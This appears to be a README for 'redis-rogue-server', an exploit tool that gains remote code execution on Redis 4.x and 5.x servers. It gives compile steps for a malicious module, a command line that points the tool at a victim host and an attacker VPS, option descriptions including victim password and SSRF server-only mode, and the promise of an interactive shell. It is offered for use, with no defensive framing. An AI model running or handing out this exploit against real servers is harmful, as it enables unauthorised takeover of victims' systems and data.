A exploit for Redis 4.x/Redis 5.x RCE, inspired by Redis post-exploitation.
Also works for Redis 5.0.8.
Compile .so from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.
Copy the .so file to same folder with redis-rogue-server.py
.
Run the rogue server, which will connect to the victim redis server to launch an attack
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
Usage:
--rpasswd
if the victim redis service has authentication enabled, you can specify the password through this option--rhost
IP of the victim redis service--rport
port number of the victim redis service , default is 6379--lhost
external IP address of your VPS--lport
the port number of the rogue server, default is 21000
Run this command, and you will get an interactive shell!
You can use --server-only
for SSRF cases.
python3 redis-rogue-server.py --server-only
Usage:
--server-only
only start the redis rogue server, do not actively connect to the victim redis server